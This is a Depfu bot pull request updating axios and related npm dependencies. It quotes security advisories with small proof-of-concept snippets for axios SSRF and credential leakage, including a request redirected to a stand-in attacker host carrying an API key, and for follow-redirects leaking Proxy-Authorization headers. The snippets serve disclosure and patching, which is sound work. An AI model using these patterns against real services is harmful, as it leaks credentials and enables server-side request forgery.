Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

🚨 [security] Update axios 0.26.0 → 1.8.2 (major) #73

Open
wants to merge 1 commit into
base: win
Choose a base branch
from

Conversation

depfu[bot]
Copy link

@depfu depfu bot commented Mar 7, 2025


🚨 Your current dependencies have known security vulnerabilities 🚨

This dependency update fixes known security vulnerabilities. Please see the details below and assess their impact carefully. We recommend to merge and deploy this as soon as possible!


Here is everything you need to know about this upgrade. Please take a good look at what changed and the test results before merging this pull request.

What changed?

✳️ axios (0.26.0 → 1.8.2) · Repo · Changelog

Security Advisories 🚨

🚨 axios Requests Vulnerable To Possible SSRF and Credential Leakage via Absolute URL

Summary

A previously reported issue in axios demonstrated that using protocol-relative URLs could lead to SSRF (Server-Side Request Forgery).
Reference: #6463

A similar problem that occurs when passing absolute URLs rather than protocol-relative URLs to axios has been identified. Even if ⁠baseURL is set, axios sends the request to the specified absolute URL, potentially causing SSRF and credential leakage. This issue impacts both server-side and client-side usage of axios.

Details

Consider the following code snippet:

import axios from "axios";

const internalAPIClient = axios.create({
baseURL: "http://example.test/api/v1/users/",
headers: {
"X-API-KEY": "1234567890",
},
});

// const userId = "123";
const userId = "http://attacker.test/";

await internalAPIClient.get(userId); // SSRF

In this example, the request is sent to http://attacker.test/ instead of the baseURL. As a result, the domain owner of attacker.test would receive the X-API-KEY included in the request headers.

It is recommended that:

  • When baseURL is set, passing an absolute URL such as http://attacker.test/ to get() should not ignore baseURL.
  • Before sending the HTTP request (after combining the baseURL with the user-provided parameter), axios should verify that the resulting URL still begins with the expected baseURL.

PoC

Follow the steps below to reproduce the issue:

  1. Set up two simple HTTP servers:
mkdir /tmp/server1 /tmp/server2
echo "this is server1" > /tmp/server1/index.html 
echo "this is server2" > /tmp/server2/index.html
python -m http.server -d /tmp/server1 10001 &
python -m http.server -d /tmp/server2 10002 &
  1. Create a script (e.g., main.js):
import axios from "axios";
const client = axios.create({ baseURL: "http://localhost:10001/" });
const response = await client.get("http://localhost:10002/");
console.log(response.data);
  1. Run the script:
$ node main.js
this is server2

Even though baseURL is set to http://localhost:10001/, axios sends the request to http://localhost:10002/.

Impact

  • Credential Leakage: Sensitive API keys or credentials (configured in axios) may be exposed to unintended third-party hosts if an absolute URL is passed.
  • SSRF (Server-Side Request Forgery): Attackers can send requests to other internal hosts on the network where the axios program is running.
  • Affected Users: Software that uses baseURL and does not validate path parameters is affected by this issue.

🚨 Server-Side Request Forgery in axios

axios 1.7.2 allows SSRF via unexpected behavior where requests for path relative URLs get processed as protocol relative URLs.

🚨 Axios Cross-Site Request Forgery Vulnerability

An issue discovered in Axios 0.8.1 through 1.5.1 inadvertently reveals the confidential XSRF-TOKEN stored in cookies by including it in the HTTP header X-XSRF-TOKEN for every request made to any host allowing attackers to view sensitive information.

🚨 Axios Cross-Site Request Forgery Vulnerability

An issue discovered in Axios 0.8.1 through 1.5.1 inadvertently reveals the confidential XSRF-TOKEN stored in cookies by including it in the HTTP header X-XSRF-TOKEN for every request made to any host allowing attackers to view sensitive information.

Release Notes

Too many releases to show here. View the full release notes.

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

↗️ follow-redirects (indirect, 1.14.9 → 1.15.9) · Repo

Security Advisories 🚨

🚨 follow-redirects' Proxy-Authorization header kept across hosts

When using axios, its dependency follow-redirects only clears authorization header during cross-domain redirect, but allows the proxy-authentication header which contains credentials too.

Steps To Reproduce & PoC

Test code:

const axios = require('axios');

axios.get('http://127.0.0.1:10081/', {
headers: {
'AuThorization': 'Rear Test',
'ProXy-AuthoriZation': 'Rear Test',
'coOkie': 't=1'
}
})
.then((response) => {
console.log(response);
})

When I meet the cross-domain redirect, the sensitive headers like authorization and cookie are cleared, but proxy-authentication header is kept.

Impact

This vulnerability may lead to credentials leak.

Recommendations

Remove proxy-authentication header during cross-domain redirect

Recommended Patch

follow-redirects/index.js:464

- removeMatchingHeaders(/^(?:authorization|cookie)$/i, this._options.headers);
+ removeMatchingHeaders(/^(?:authorization|proxy-authorization|cookie)$/i, this._options.headers);

🚨 Follow Redirects improperly handles URLs in the url.parse() function

Versions of the package follow-redirects before 1.15.4 are vulnerable to Improper Input Validation due to the improper handling of URLs by the url.parse() function. When new URL() throws an error, it can be manipulated to misinterpret the hostname. An attacker could exploit this weakness to redirect traffic to a malicious site, potentially leading to information disclosure, phishing attacks, or other security breaches.

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

↗️ function-bind (indirect, 1.1.1 → 1.1.2) · Repo · Changelog

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

↗️ get-intrinsic (indirect, 1.1.1 → 1.3.0) · Repo · Changelog

Release Notes

1.3.0 (from changelog)

Commits

  • [Dev Deps] update es-abstract, es-value-fixtures, for-each, object-inspect 9b61553
  • [Deps] update call-bind-apply-helpers, es-object-atoms, get-proto a341fee
  • [New] add Float16Array de22116

1.2.7 (from changelog)

Commits

  • [Refactor] use get-proto directly 00ab955
  • [Deps] update math-intrinsics c716cdd
  • [Dev Deps] update call-bound, es-abstract dc648a6

1.2.6 (from changelog)

Commits

  • [Refactor] use math-intrinsics 841be86
  • [Refactor] use es-object-atoms 42057df
  • [Deps] update call-bind-apply-helpers 45afa24
  • [Dev Deps] update call-bound 9cba9c6

1.2.5 (from changelog)

Commits

  • [actions] split out node 10-20, and 20+ 6e2b9dd
  • [Refactor] use dunder-proto and call-bind-apply-helpers instead of has-proto c095d17
  • [Refactor] use gopd 9841d5b
  • [Dev Deps] update @ljharb/eslint-config, auto-changelog, es-abstract, es-value-fixtures, gopd, mock-property, object-inspect, tape 2d07e01
  • [Deps] update gopd, has-proto, has-symbols, hasown 974d8bf
  • [Dev Deps] update call-bind, es-abstract, tape df9dde1
  • [Refactor] cache es-define-property as well 43ef543
  • [Deps] update has-proto, has-symbols, hasown ad4949d
  • [Tests] use call-bound directly ad5c406
  • [Deps] update has-proto, hasown 45414ca
  • [Tests] replace aud with npm audit 18d3509
  • [Deps] update es-define-property aadaa3b
  • [Dev Deps] add missing peer dep c296a16

1.2.4 (from changelog)

Commits

  • [Refactor] use all 7 <+ ES6 Errors from es-errors bcac811

1.2.3 (from changelog)

Commits

  • [Refactor] use es-errors, so things that only need those do not need get-intrinsic f11db9c
  • [Dev Deps] update aud, es-abstract, mock-property, npmignore b7ac7d1
  • [meta] simplify exports faa0cc6
  • [meta] add missing engines.node 774dd0b
  • [Dev Deps] update tape 5828e8e
  • [Robustness] use null objects for lookups eb9a11f
  • [meta] add sideEffects flag 89bcc7a

1.2.2 (from changelog)

Commits

  • [Dev Deps] update @ljharb/eslint-config, aud, call-bind, es-abstract, mock-property, object-inspect, tape f51bcf2
  • [Refactor] use hasown instead of has 18d14b7
  • [Deps] update function-bind 6e109c8

1.2.1 (from changelog)

Commits

  • [Fix] avoid a crash in envs without __proto__ 7bad8d0
  • [Dev Deps] update es-abstract c60e6b7

1.2.0 (from changelog)

Commits

  • [actions] update checkout action ca6b12f
  • [Dev Deps] update @ljharb/eslint-config, es-abstract, object-inspect, tape 41a3727
  • [Fix] ensure Error.prototype is undeniable c511e97
  • [Dev Deps] update aud, es-abstract, tape 1bef8a8
  • [Dev Deps] update aud, es-abstract 0d41f16
  • [New] add BigInt64Array and BigUint64Array a6cca25
  • [Tests] use gopd ecf7722

1.1.3 (from changelog)

Commits

  • [Dev Deps] update es-abstract, es-value-fixtures, tape 07ff291
  • [Fix] properly check for % signs 50ac176

1.1.2 (from changelog)

Fixed

  • [Fix] properly validate against extra % signs #16

Commits

  • [actions] reuse common workflows 0972547
  • [meta] use npmignore to autogenerate an npmignore file 5ba0b51
  • [actions] use node/install instead of node/run; use codecov action c364492
  • [Dev Deps] update eslint, @ljharb/eslint-config, aud, auto-changelog, es-abstract, object-inspect, tape dc04dad
  • [Dev Deps] update eslint, @ljharb/eslint-config, es-abstract, object-inspect, safe-publish-latest, tape 1c14059
  • [Tests] use mock-property b396ef0
  • [Dev Deps] update eslint, @ljharb/eslint-config, aud, auto-changelog, object-inspect, tape c2c758d
  • [Dev Deps] update eslint, @ljharb/eslint-config, aud, es-abstract, es-value-fixtures, object-inspect, tape 29e3c09
  • [actions] update codecov uploader 8cbc141
  • [Dev Deps] update @ljharb/eslint-config, es-abstract, es-value-fixtures, object-inspect, tape 10b6f5c
  • [readme] add github actions/codecov badges 4e25400
  • [Tests] use for-each instead of foreach c05b957
  • [Dev Deps] update es-abstract 29b05ae
  • [meta] use prepublishOnly script for npm 7+ 95c285d
  • [Deps] update has-symbols 593cb4f
  • [readme] fix repo URLs 1c8305b
  • [Deps] update has-symbols c7138b6
  • [Dev Deps] remove unused has-bigints bd63aff

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

↗️ has-symbols (indirect, 1.0.2 → 1.1.0) · Repo · Changelog

Release Notes

1.1.0 (from changelog)

Commits

  • [actions] update workflows 548c0bf
  • [actions] further shard; update action deps bec56bb
  • [meta] use npmignore to autogenerate an npmignore file ac81032
  • [New] add types 6469cbf
  • [actions] update rebase action to use reusable workflow 9c9d4d0
  • [Dev Deps] update eslint, @ljharb/eslint-config, aud, tape adb5887
  • [Dev Deps] update @ljharb/eslint-config, aud, tape 13ec198
  • [Dev Deps] update auto-changelog, core-js, tape 941be52
  • [Tests] replace aud with npm audit 74f49e9
  • [Dev Deps] update npmignore 9c0ac04
  • [Dev Deps] add missing peer dep 52337a5

1.0.3 (from changelog)

Commits

  • [actions] use node/install instead of node/run; use codecov action 518b28f
  • [meta] add bugs and homepage fields; reorder package.json c480b13
  • [actions] reuse common workflows 01d0ee0
  • [actions] update codecov uploader 6424ebe
  • [Dev Deps] update eslint, @ljharb/eslint-config, aud, auto-changelog, tape dfa7e7f
  • [Dev Deps] update eslint, @ljharb/eslint-config, safe-publish-latest, tape 0c8d436
  • [Dev Deps] update eslint, @ljharb/eslint-config, aud, tape 9026554
  • [readme] add actions and codecov badges eaa9682
  • [Dev Deps] update eslint, tape bc7a3ba
  • [Dev Deps] update eslint, auto-changelog 0ace00a
  • [meta] use prepublishOnly script for npm 7+ 093f72b
  • [Tests] test on all 16 minors 9b80d3d

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

🆕 call-bind-apply-helpers (added, 1.0.2)

🆕 dunder-proto (added, 1.0.1)

🆕 es-define-property (added, 1.0.1)

🆕 es-errors (added, 1.3.0)

🆕 es-object-atoms (added, 1.1.1)

🆕 es-set-tostringtag (added, 2.1.0)

🆕 get-proto (added, 1.0.1)

🆕 gopd (added, 1.2.0)

🆕 hasown (added, 2.0.2)

🆕 math-intrinsics (added, 1.1.0)

🆕 proxy-from-env (added, 1.1.0)


Depfu Status

Depfu will automatically keep this PR conflict-free, as long as you don't add any commits to this branch yourself. You can also trigger a rebase manually by commenting with @depfu rebase.

All Depfu comment commands
@​depfu rebase
Rebases against your default branch and redoes this update
@​depfu recreate
Recreates this PR, overwriting any edits that you've made to it
@​depfu merge
Merges this PR once your tests are passing and conflicts are resolved
@​depfu cancel merge
Cancels automatic merging of this PR
@​depfu close
Closes this PR and deletes the branch
@​depfu reopen
Restores the branch and reopens this PR (if it's closed)
@​depfu pause
Ignores all future updates for this dependency and closes this PR
@​depfu pause [minor|major]
Ignores all future minor/major updates for this dependency and closes this PR
@​depfu resume
Future versions of this dependency will create PRs again (leaves this PR as is)

@depfu depfu bot added dependencies Pull requests that update a dependency file depfu labels Mar 7, 2025
@depfu depfu bot assigned riotrah Mar 7, 2025
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
dependencies Pull requests that update a dependency file depfu
Projects
None yet
Development

Successfully merging this pull request may close these issues.

1 participant